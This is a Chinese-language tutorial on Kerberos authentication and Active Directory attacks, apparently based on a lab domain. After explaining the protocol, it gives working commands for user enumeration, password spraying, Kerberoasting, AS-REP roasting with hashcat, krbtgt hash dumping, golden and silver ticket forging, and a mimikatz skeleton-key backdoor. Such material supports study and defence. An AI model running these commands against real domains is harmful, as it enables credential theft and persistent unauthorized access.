Kerberos协议

63

基础概念

Kerberos是一种网络身份认证协议。旨在通过使用密钥加密技术为Client/Server提供强身份验证。

Kerberos的标志是三只狗头,分别代表以下三种角色:

1.Client:访问服务的客户机

2.Server:提供服务的服务机

3.KDC:密钥分发中心,默认安装在域控中

KDC:分为两个部分:身份验证服务 AS(Authentication Service)和票据授予服务 TGS(Ticket Granting Service)。AS用于认证服务,验证client的credential(身份认证信息),发放TGT;TGS用于验证TGT,发放ST

TGT(Ticket Granting Ticket):由AS授予的票据,用于身份验证,存储在内存中。以后申请其他应用的ST时,就不需要向KDC的AS提供身份认证信息

ST/票据(Server Ticket/Ticket):由KDC的TGS发放,是客户端应用程序访问Server某个服务的凭证

认证过程

img

  1. AS_REQ

Client向KDC的AS认证服务请求TGT票据,请求凭据是Client hash加密的时间戳

  1. AS_REP

KDC使用Client hash进行解密,若结果正确就返回krbtgt hash加密的TGT票据,TGT里面包含PAC,PAC中包含Client的sid和Client所在的组

  1. TGS_REQ

Client凭借TGT票据向KDC的TGS认证服务发起针对特定Server的TGS_REQ请求

  1. TGS_REP

TGS使用krbtgt hash进行解密,若结果正确,就返回用Server hash加密的ST票据(这一步不管用户有没有访问Server的权限,只要TGT正确,就返回ST票据 )

  1. AP_REQ

Client使用ST服务票据向服务端请求服务

  1. AP_REP

server使用自己的hash解密ST票据。如果解密正确,就拿着PACKDC那边问Client有没有访问权限,域控解密PAC。获取Clientsid,以及所在的,再根据该服务的ACL,判断Client是否有访问Server的权限

域内用户枚举

发生在AS_REQ阶段

根据响应包返回码来判断是否爆破成功

img

使用kerbrute进行爆破:

kerbrute userenum --dc CONTROLLER.local -d CONTROLLER.local User.txt

User.txt 为用户列表

使用wireshark可以看到这一过程

image-20230228200116536

Rubeus票据收割

Rubeus.exe harvest /interval:30

运行该命令会每间隔30秒收集一次TGT

Rubeus密码喷洒

在进行Rubeus密码喷洒前,需要先将目标ip地址以及对应的域控制器名添加到hostts文件中,如:

echo 10.10.24.188 CONTROLLER.local >> C:\Windows\System32\drivers\etc\hosts

Rubeus.exe brute /password:Password1 /noticket 采用给定的密码并将其“喷洒”给所有找到的用户,然后为该用户提供一个 .kirbi 格式的TGT

Kerberoasting

由于ST票据会使用服务端的hash加密,并且Windows域中任何经过身份验证的用户都可以从TGS处请求服务票据

使用请求到的ST票据来进行离线破解,这就是kerberoasting

使用Rubeus进行kerberoasting:

Rubeus.exe kerberoast

然后使用hashcat破解hash:

hashcat -m 13100 -a 0 hash.txt Pass.txt

AS-REP Roasting

攻击条件:

域用户设置了"Do not require Kerberos preauthentication"(不需要kerberos预身份验证)。而该属性默认是没有勾选上的。

攻击原理

预身份验证是Kerberos身份验证的第一步(AS_REQ & AS_REP):

在Kerberos预认证期间,用户哈希将用于加密时间戳,域控制器将尝试解密这个时间戳以验证该用户是否使用了正确的哈希并且验证用户没有重播先前的请求。在验证时间戳之后,KDC 将为用户发出一个 TGT。如果关闭了预身份验证,那么就可以指定用户去请求票据,此时域控不会作任何验证就将 TGT票据 和 该用户Hash加密的Login Session Key返回

使用Rubeus进行AS-REP Roasting

Rubeus.exe asreproast

然后使用hashcat离线破解:

 hashcat -m 18200 hash.txt Pass.txt

黄金票据与白银票据

黄金票据就是伪造krbtgt用户的TGT票据,krbtgt用户是域控中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户。而白银票据则是伪造ST,这样的好处是票据不会经过KDC,从而更加隐蔽,但是伪造的票据只对指定服务起作用

转储hash:

mimikatz # privilege::debug
mimikatz # lsadump::lsa /inject /name:krbtgt

这将转储krbtgt用户的hash,用来制作黄金票据。如果要制作白银票据,只需要更改/name :为对应的服务账户

创建金/银票据:
mimikatz # Kerberos::golden /user:Administrator /domain:controller.local /sid: /krbtgt: /id:

只需将服务 NTLM 哈希放入 krbtgt 槽,将服务帐户的 sid 放入 sid,并将 id 更改为一个自定义的值

使用金/银票据访问其他服务
mimikatz # misc::cmd

这将在 mimikatz 中使用给定的票证打开一个新的cmd

使用mimikatz制作Kerberos后门

除了使用金票和银票保持访问权限外,mimikatz 在攻击 Kerberos 时还有另一个技巧,那就是制作后门。与金票和银票攻击不同,使用mimikatz制作的Kerberos 后门更加微妙,因为它的行为类似于 rootkit,它将自身植入域林的内存中,并允许自己使用主密码访问域中的任何机器。

mimikatz制作的Kerberos 后门通过植入一个滥用 AS-REQ 验证加密时间戳的方式的万能密钥来工作,该万能密钥只能使用 Kerberos RC4 加密。一旦植入了万能密钥,域控制器就会尝试使用用户NT哈希和万能密钥NT哈希来解密时间戳,从而允许你能够访问目标的域林。

mimikatz 万能密钥的默认哈希值是 60BA4FCADC466C7A033C178194C03DF6,这使得密码默认为mimikatz

mimikatz # misc::skeleton

然后可以使用凭证:mimikatz访问域中的任何机器

例如:

net use c:\\DOMAIN-CONTROLLER\admin$ /user:Administrator mimikatz

dir \\Desktop-1\c$ /user:Machine1 mimikatz